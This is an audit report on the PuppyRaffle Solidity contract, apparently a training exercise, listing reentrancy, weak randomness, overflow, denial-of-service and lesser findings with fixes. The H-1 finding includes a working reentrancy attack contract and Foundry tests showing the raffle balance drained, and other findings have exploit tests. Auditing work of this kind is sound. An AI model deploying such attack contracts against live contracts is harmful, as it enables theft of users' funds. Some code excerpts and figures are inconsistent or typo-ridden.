# PuppyRaffle Audit Report

Version 1.0

*Mohammad Arif Fikree*

July 7, 2024

# Protocol Audit Report

Mohammad Arif Fikree

July 7, 2024

Prepared by: Mohammad Arif Fikree Lead Auditors: - Mohamamd arif Fikree

## Table of Contents

    * [M-1] Looping throug players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants.
    * [M-2] Unsafe cast of PuppyRaffle::fee loses fees
    * [M-3] Smart contract wallets raffle winners without a `recive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational/Non-crits
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of solidity in not recommended.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    * [I-5]: Use of "magic" numbers is discouraged
    * [I-6]: State changes are missing events
    * [I-7]: `PuppuRaffle::_isActivePlayer` is never used and should be removed

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Mohammad Arif Fikree team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | H | H/M | M |
| | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond the following commit hash:**

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

### Scope

```
./src/
#--- PuppyRaffle.sol
```

### Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter

the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary I loved this codebase. ## Issues found

Severity | Number of issues found |

|_____| _____ | | High | 3 |
| Medium | 3 | | Low | 1 | | Info | 7 | | Gas | 2 | | Total | 16 |

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

**Description** The `PuppyRaffle::refund` function does not follow CEI(Checks,Effects,Interactions) and as a result, enables a participants to drain the contract balance. In the `PuppyRaffle::refund` function, we first make an external call to the function `msg.sender` address and only after making that external calldo we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5   @>     payable(msg.sender).sendValue(entranceFee);
6   @>     players[playerIndex] = address(0);
7          emit RaffleRefunded(playerAddress);
8      }
```

A player who has entered the raffle could have a `fallback` / `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

**Impact** All fees paid by raffle entrants could be stolen by the malicious participants.

**Proof of Concepts**

1. User enters the raffle
2. Attacker sets up a contract with a `fallbak` function that call `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker call `PuppyRaffle::refund` function from their attack contract, draining the contract balance

**Proof of Code**

Place the following into `PuppyRaffleTest.t.sol`

Code

```
function test_reentrancyRefund() public playersEntered {
        ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);
        vm.deal(address(attacker), 1 ether);

        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;
        attacker.attack();

        uint256 endingAttackerBalance = address(attacker).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("Attacker Starting Balance:",
            startingAttackerBalance);
        console.log("PuppyRaffle Starting Balance:",
            startingContractBalance);
        console.log("Attacker ending Balance:", endingAttackerBalance);
        console.log("PuppyRaffle Starting Balance:",
            endingContractBalance);
        assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
        assertEq(endingContractBalance, 0);
    }
```

and this contract as well

```

contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;

    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

```

```
21      function _stealMoney() internal {
22          if (address(puppyRaffle).balance >= entranceFee) {
23              puppyRaffle.refund(attackerIndex);
24          }
25      }
26
27      fallback() external payable {
28          _stealMoney();
29      }
30
31      receive() external payable {
32          _stealMoney();
33      }
34  }
```

**Recommended mitigation** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1
2  function refund(uint256 playerIndex) public {
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6  +        players[playerIndex] = address(0);
7  +       emit RaffleRefunded(playerAddress);
8          payable(msg.sender).sendValue(entranceFee);
9   -        players[playerIndex] = address(0);
10 -       emit RaffleRefunded(playerAddress);
11      }
```

### [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the predicat the winner and influence or predict the winning puppy

**Description** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predicatable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle temselves.

*Note:* This additionally means users could front=run this function adn calll `refund` if they see they are not the winner.

**Impact** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas was as to who wins the raffles.

**Proof of Concepts**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being ued to generated the winner!

Using on-chain values as a randomness seed is a well-documneted attack vector in the blockchain space.

**Recommended mitigation** Consider using a cryptographically provable random number generator such s Chainlink VRF.

### [H-3] Intager overflow of `PuppyRaffle::totalFees` loses fees

**Description** In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar=type(uint64).max;
// 18446744073709551615
myVar=myVar+1;
// myVar will be 0
```

**Impact** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanaently stuck in the contract.

**Proof of Concepts**

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 80000000000000000 + 17800000000000000000;
// and this will overflow!
totalFees = 153255926290448384;
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to mathc and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function test_totalFeesOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotlFees = puppyRaffle.totalFees();
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotlFees);
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

**Recommended mitigation**There are a few possible mititigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totoalFees`
2. You could also use the `SafeMathc` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with `uint64` type if too many fees are collect.
3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

## Medium

### [M-1] Looping throug players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack, incrementing gas costs for future entrants.

**Description** The `PuppyRaffle::enterRaffle` function loops through `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array, the more checks a new player will have to make. This means the gas costs for player who enter irhgt when the raffle stats will be dramatically lowre than those who enter later. Every additional address in the `player` array, is an additional check the loop will have to make.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

**Impact** The gas costss for raffle entrants will greatly increase as more players enter the raffle. Discouragin later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

**Proof of Concepts** If we have 2 sets of 100 players enter, the gas costs will be as such: -1st 100 players: ~6252128 -2nd 100 players: ~18068218

This is more than 3x expensive for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
function test_denialOfService() public {

        vm.txGasPrice(1);
        //Lets enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
```

```
14
15          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16          console.log("gasUsedFirst for 100 players: ", gasUsedFirst);
17
18          //now for second 100 players
19          address[] memory playersTwo = new address[](playersNum);
20          for (uint256 i = 0; i < playersNum; i++) {
21              playersTwo[i] = address(i+playersNum);
22          }
23
24          uint256 gasStart2 = gasleft();
25          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
26          uint256 gasEnd2 = gasleft();
27
28          uint256 gasUsedSecond= (gasStart2 - gasEnd2) * tx.gasprice;
29          console.log("gasUsedSecond for 100 players: ", gasUsedSecond);
30          assert(gasUsedFirst<gasUsedSecond);
31      }
```

**Recommended mitigation**

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId=0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value== entranceFee* newPlayers.length,"PuppyRaffle
                : Must sned enough to enter raffle");
8           for(uint256 i=0;i< newPlayers.length;i++) {
9               players.push(newPlayers[i]);
10 +         addressToRaffleId[newPlayers[i]]=raffleId;
11          }
12
13 -        //Check for duplicates
14 +       //Check for duplicates only from the new players
15 +       for(uint256 i=0; i<newPlayers.length; i++) {
16 +        require(addressToRaffleId[newPlayers[i]] != raffleId,"PuppyRaffle:
       Duplicate player");
17 +}
18
19 -        for(uint256 i=0; i<newPlayers.length; i++) {
20 -    for(uint256 j=0; j<newPlayers.length; j++) {
21 -        require(players[i] != players[j], "PuppyRaffle:Duplicate player
      ");
22 -      }
23 -}
24 emit RaffleEnter(newPlayers);
25      }
26      .
```

```
27      .
28      .
29      function selectWinner() external{
30  +         raffleId=raffleId+1;
31          require(block.timestamp>=raffleStartTime+raffleDuration,"
                PuppyRaffle: Raffle not over");
32      }
```

#### [M-2] Unsafe cast of PuppyRaffle::fee loses fees

**Description**: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

**Impact**: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:**

A raffle proceeds with a little more than 18 ETH worth of fees collected The line that casts the fee as a uint64 hits totalFees is incorrectly updated with a lower amount You can replicate this in foundry's chisel by running the following:

```
1  uint256 max = type(uint64).max
2  uint256 fee = max + 1
3  uint64(fee)
4  // prints 0
```

**Recommended Mitigation:** Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

// We do some storage packing to save gas But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

### [M-3] Smart contract wallets raffle winners without a `recive` or a `fallback` function will block the start of a new contest

**Description** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart. Users could easily call the `PuppyRaffle::selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lettery reset could get very challanging.

**Impact** The `PuppyRaffle::selectWinner` function could revert many times, making alottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

**Proof of Concepts**

1. 10 smart contract wallets enter the lttery without a fallback or reeive function.
2. The lottery ends
3. The `SelectWinner` function wouldn't work, even though the lottery is over!

**Recommended mitigation** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

### Low

#### [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

**Description** If a player is in the `PuppyRaffle::getActivePlayerIndex` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player isnot in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

**Impact** causing a player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concepts**

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function docmentation

**Recommended mitigation** The easiest recommendation would be to revert if the palyer is not in the array instead of returning 0.

you could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

## Gas

### [G-1] Unchanged state variables should be declared constant or immutable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`.
- `PuppyRaffle::commanImageUri` should be `constant`.
- `PuppyRaffle::rareImageUri` should be `constant`.
- `PuppyRaffle::legendaryImageUri` should be `constant`.

### [G-2] Storage variables in a loop should be cached

EveryTime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+    uint256 playersLenght= players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLenght - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLenght; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

## Informational/Non-crits

### [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

### [I-2]: Using an outdated version of solidity in not recommended.

please use a newer version of solidity like `0.8.18`. solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding

complex pragma statement.

**Recommendation**: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Plese see slither

### [I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 207

```
1           feeAddress = newFeeAddress;
```

### [I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1
2 -  (bool success,) = winner.call{value: prizePool}("");
3 -         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
4          _safeMint(winner, tokenId);
5 +  (bool success,) = winner.call{value: prizePool}("");
6 +         require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

### [I-5]: Use of "magic" numbers is discouraged

It can be confusing to see number literalsin a codebase, an it's much more readable if the numbers are given a name.

Examples:

```
 uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE= 80;
uint256 public constant FEE_PERCENTAGE= 20;
uint256 public constant POOL_PRECISION= 100;
```

### [I-6]: State changes are missing events

### [I-7]: `PuppuRaffle::_isActivePlayer` is never used and should be removed